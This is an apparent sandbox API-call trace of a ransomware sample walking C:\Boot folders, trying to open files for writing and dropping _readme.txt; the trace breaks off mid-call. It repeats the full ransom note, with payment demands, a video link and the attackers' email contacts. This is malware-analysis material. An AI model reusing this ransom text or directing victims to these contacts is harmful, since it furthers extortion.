(lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.812] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.812] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0111.812] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.812] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.812] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.812] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0111.812] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.812] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.812] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0111.812] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.812] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.812] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.812] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.812] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a36078 [0111.812] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.812] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.813] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.813] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.813] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.813] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.813] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.813] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.813] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.813] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.813] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0111.813] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.813] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.813] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.813] PathFindFileNameW (pszPath="") returned="" [0111.813] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.813] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.813] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.814] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.814] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.814] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.814] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.814] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0111.814] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0111.814] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.814] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.814] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.814] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.814] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.814] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.814] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.814] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.814] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.814] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.814] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0111.815] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.815] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.815] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.815] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.815] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.815] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.815] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.815] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.815] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0111.815] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.815] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.815] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.815] PathFindFileNameW (pszPath="") returned="" [0111.815] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.816] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.816] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.816] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.816] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0111.816] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 0 [0111.816] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.816] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.816] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.816] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.816] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.816] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.817] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.817] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0111.817] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.817] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.817] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.817] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.817] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.817] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.817] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.817] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.817] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0111.817] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.817] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.817] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.817] PathFindFileNameW (pszPath="") returned="" [0111.817] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.818] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.818] SHGetFolderPathW (in: 